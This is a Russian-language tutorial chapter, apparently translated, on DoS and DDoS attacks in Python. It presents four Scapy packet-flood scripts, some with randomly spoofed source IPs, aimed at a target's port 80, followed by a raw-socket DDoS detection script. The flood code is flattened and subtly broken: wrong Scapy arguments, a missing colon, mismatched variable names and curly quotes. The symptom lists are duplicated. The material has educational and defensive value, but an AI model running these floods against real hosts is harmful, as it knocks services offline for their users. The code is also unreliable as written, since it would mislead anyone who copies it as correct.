В этой главе мы узнаем о атаках DoS и DdoS и узнаем, как их обнаружить.
С бумом в индустрии электронной коммерции, веб-сервер теперь подвержен атакам и стал легкой целью для хакеров. Хакеры обычно пытаются два типа атаки —
- DoS (отказ в обслуживании)
- DDoS (распределенный отказ в обслуживании)
DoS (отказ в обслуживании) атака
Атака «отказ в обслуживании» (DoS) — это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает хост, временный или неопределенный, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, шлюзы оплаты кредитными картами.
Симптомы DoS-атаки
-
Необычно низкая производительность сети.
-
Недоступность определенного веб-сайта.
-
Невозможность получить доступ к любому веб-сайту.
-
Резкое увеличение количества полученных спам-писем.
-
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
-
Недоступность конкретного сайта.
Необычно низкая производительность сети.
Недоступность определенного веб-сайта.
Невозможность получить доступ к любому веб-сайту.
Резкое увеличение количества полученных спам-писем.
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
Недоступность конкретного сайта.
Типы DoS-атак и их реализация на Python
DoS-атака может быть реализована на канале передачи данных, на уровне сети или на уровне приложений. Давайте теперь узнаем о различных типах DoS-атак &; их реализация в Python —
Один IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом —
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
После выполнения вышеприведенный скрипт запросит следующие три вещи:
-
IP-адрес источника и цели.
-
IP-адрес номера порта источника.
-
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
Один IP, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP —
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами —
Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) — это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.
В отличие от атаки типа «отказ в обслуживании» (DoS), в которой один компьютер и одно подключение к Интернету используются для заполнения целевого ресурса пакетами, атака DDoS использует много компьютеров и множество подключений к Интернету, часто распределенных по всему миру в том, что называется ботнетом. , Крупномасштабная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Это можно прочитать подробно на https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.
Для начала давайте импортируем необходимые библиотеки —
import socket import struct from datetime import datetime
Теперь мы создадим сокет, как и в предыдущих разделах.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Мы будем использовать пустой словарь —
dict = {}
Следующая строка кода откроет текстовый файл, содержащий подробную информацию о DDoS-атаке в режиме добавления.
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
С помощью следующей строки кода при каждом запуске программы будет записываться текущее время.
file_txt.writelines(t1) file_txt.writelines("\n")
Теперь нам нужно принять на себя попадания с определенного IP. Здесь мы предполагаем, что если конкретный IP-адрес будет срабатывать более 15 раз, то это будет атака.
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, то он увеличится на 1.
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
Следующая строка кода используется для удаления избыточности.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1
После запуска вышеуказанного скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет напечатан при обнаружении DDoS-атаки вместе с этим IP-адресом.